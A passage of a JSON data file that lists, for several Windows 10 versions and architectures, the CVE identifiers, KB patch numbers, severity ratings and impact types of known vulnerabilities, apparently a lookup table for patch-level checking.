Privilege"},{"cve":"CVE-2020-0668","kb":"4532691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4538461","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4549949","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565349","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565349","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003171","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003171","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003646","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601345","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601345","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000822","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004947","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005568","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006672","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015811","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014692","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013945","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034127","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029247","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025229","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028168","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032196","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031361","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041578","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043050","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048661","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044277","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050008","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053596","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053596","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055519","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058392","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058392","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060531","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066586","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062557","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063877","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063877","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1809 for ARM64-based Systems":[{"cve":"CVE-2018-0886","kb":"4551853","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467708","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487044","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493509","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503327","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4519338","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530715","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534273","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4538461","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4549949","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565349","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565349","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003171","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003171","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003646","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601345","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601345","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000822","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004947","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005568","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006672","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015811","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014692","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013941","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034127","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029247","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025229","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028168","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032196","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031361","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034768","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1809 for x64-based Systems":[{"cve":"CVE-2018-0886","kb":"4551853","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4464330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8453","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467708","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487044","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493509","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503327","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4519338","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530715","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534273","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4538461","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4549949","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565349","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565349","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003171","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003171","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003646","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601345","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601345","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000822","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004947","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005568","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006672","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015811","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014692","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013941","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034127","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029247","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025229","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028168","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032196","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031361","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041578","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043050","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048661","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044277","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050008","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053596","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053596","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055519","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058392","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058392","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060531","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066586","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062557","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063877","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063877","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1903 for 32-bit Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1069","kb":"4503293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4517389","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1903 for ARM64-based Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1069","kb":"4503293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4517389","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1903 for x64-based Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1069","kb":"4503293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4517389","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1909 for 32-bit Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003169","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003169","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003635","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601315","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009545","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601315","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000808","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005566","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006667","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1909 for ARM64-based Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003169","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003169","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003635","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601315","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009545","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601315","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000808","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005566","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006667","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1909 for x64-based Systems":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003169","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003169","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003635","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601315","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009545","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601315","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000808","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005566","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006667","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 2004 for 32-bit Systems":[{"cve":"CVE-2020-1313","kb":"4557957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4566782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4566782","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 2004 for ARM64-based Systems":[{"cve":"CVE-2020-1313","kb":"4557957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4566782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4566782","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 2004 for x64-based Systems":[{"cve":"CVE-2020-1313","kb":"4557957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4566782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4566782","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of 